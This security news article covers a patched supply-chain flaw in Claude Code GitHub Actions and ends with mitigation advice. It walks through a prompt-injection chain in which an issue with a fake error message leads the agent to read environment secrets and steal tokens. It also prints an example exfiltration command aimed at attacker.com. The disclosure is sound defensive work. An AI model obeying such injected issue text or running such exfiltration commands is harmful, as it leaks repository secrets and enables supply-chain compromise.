Critical GitHub Actions Vulnerability in Claude Code Exposes Repositories

Key Takeaways

• A critical supply chain vulnerability (CVSS v4.0 score 7.8) was discovered in Anthropic’s Claude Code GitHub Actions.
• The flaw allowed unauthenticated attackers to compromise any repository utilizing the affected workflow, including Anthropic’s own infrastructure.
• Attackers could exfiltrate secrets, steal OIDC tokens, and inject malicious code.
• The vulnerability has been patched in Claude Code GitHub Actions v1.0.94.

A severe supply chain vulnerability within Anthropic’s official Claude Code GitHub Actions could have allowed unauthorized access and compromise of any GitHub repository integrating the workflow. This critical flaw, which also endangered Anthropic’s internal systems, permitted unauthenticated attackers to steal sensitive data and inject malicious code.

Security researcher RyotaK of GMO Flatt Security identified the vulnerability, which has since been remediated in Claude Code GitHub Actions version 1.0.94. The core issue stemmed from a flawed permission validation mechanism within the checkWritePermissions function.

When combined with prompt injection techniques, this vulnerability presented a significant risk. An unauthenticated external attacker could have exfiltrated secrets, stolen OpenID Connect (OIDC) tokens, and pushed malicious code to any downstream repository reliant on the compromised Claude Code GitHub Actions workflow.

The design of Claude Code GitHub Actions intended to restrict workflow execution to users possessing write or administrative privileges. However, the checkWritePermissions function erroneously granted unconditional trust to any actor identified with the [bot] suffix, irrespective of their actual permissions.

This oversight created a critical bypass vector. GitHub Apps inherently possess read access to public repositories and can generate issues or pull requests on any public repository using only an installation token. This capability allowed an attacker to completely circumvent the intended permission controls.

Claude Code’s GitHub Actions Vulnerability Explained

Exploiting the vulnerability required a three-step process: an attacker would create a malicious GitHub App, install it on a repository under their control (requiring no special permissions), and then use its installation token to open an issue or pull request in the target repository.

Due to the actor appearing as a GitHub App bot, the permission check incorrectly returned true, leading the workflow to process the attacker-controlled content. While the “tag mode” workflow included an additional checkHumanActor safeguard, the “agent mode” workflow lacked this critical protection at the time of discovery.

Once the permission bypass was achieved, attackers could craft a malicious issue description containing a fabricated error message. This tactic would trick Claude Code into executing embedded commands, effectively performing a classic prompt injection attack.

Claude Code permits the execution of certain Bash commands, such as cat and head, without explicit user approval. This allowed an attacker to read /proc/self/environ, a Linux pseudo-file that exposes all environment variables passed to the workflow process.

Among these environment variables, the most sensitive were ACTIONS_ID_TOKEN_REQUEST_TOKEN and ACTIONS_ID_TOKEN_REQUEST_URL. These credentials are used to request an OIDC token from GitHub Actions.

The Claude Code GitHub Actions workflow uses this OIDC token to acquire a privileged Claude GitHub App installation token from Anthropic’s backend via the endpoint https://api.anthropic.com/api/github/github-app-token-exchange.

With the exfiltrated credentials, an attacker could replicate the entire token exchange process, thereby obtaining a GitHub App token endowed with write access to repository contents, issues, pull requests, and workflows.

In Anthropic’s own issue triage workflow, the mcp__github__update_issue MCP tool was abused. This allowed the attacker to write the stolen secrets back into a public issue, from which they could then easily retrieve them.

The most severe implication was that the anthropics/claude-code-action repository itself utilized a vulnerable agent mode workflow. A successful exploit would enable an attacker to directly inject malicious code into the action’s source. This malicious code would then propagate to every downstream repository dependent on the action, constituting a classic supply chain attack.

The complete attack chain involved a total of seven steps, ranging from the creation of a rogue GitHub App to the injection of backdoored code into Anthropic’s own repository.

Additional Vulnerabilities and Mitigation

Separately, RyotaK also identified a misconfiguration in Anthropic’s official example workflows, specifically the use of allowed_non_write_users: "*". When combined with issues: write permissions and a second workflow utilizing id-token: write, an external attacker could chain these two workflows. This would involve using the triage workflow to steal a GITHUB_TOKEN via Claude’s publicly visible workflow run summary, then editing an existing issue to inject prompts into the tag-mode workflow. This chain of events could ultimately escalate to full repository compromise without needing the GitHub App bypass.

Even the gh issue view CLI command was found to be weaponizable for data exfiltration. Prompt injection could instruct Claude to embed secrets within URL path arguments (e.g., gh issue view https://attacker.com/<secret>), thereby sending credentials to an external server controlled by the attacker.

Anthropic has addressed these vulnerabilities in Claude Code GitHub Actions v1.0.94. The implemented fixes include adding a checkHumanActor call to agent mode, disabling the workflow run summary section by default, scrubbing environment variables from child processes spawned by Claude Code, and implementing a custom gh command wrapper that validates arguments and blocks URL patterns capable of exfiltration.

Anthropic also integrated logic to disregard issues and comments edited after a workflow has been triggered, effectively closing the workflow-chaining attack vector.

The researcher rated the vulnerabilities with a CVSS v4.0 score of 7.8. Anthropic awarded RyotaK $3,800 plus a $1,000 bonus through its bug bounty program for the discovery.

What You Should Do

• Update Immediately: Ensure all instances of Claude Code GitHub Actions are updated to version 1.0.94 or later to apply the critical security patches.
• Audit Workflows: Review any workflows using allowed_non_write_users for potential misconfigurations and excessive permissions.
• Restrict Secrets: Limit exposed secrets strictly to only the Anthropic API key and GITHUB_TOKEN, adhering to the principle of least privilege.
• Review Logs: Scrutinize workflow run logs for any indicators of compromise or unusual activity.

Disclaimer: HackersRadar reports on cybersecurity threats and incidents for informational and awareness purposes only. We do not engage in hacking activities, data exfiltration, or the hosting or distribution of stolen or leaked information. All content is based on publicly available sources.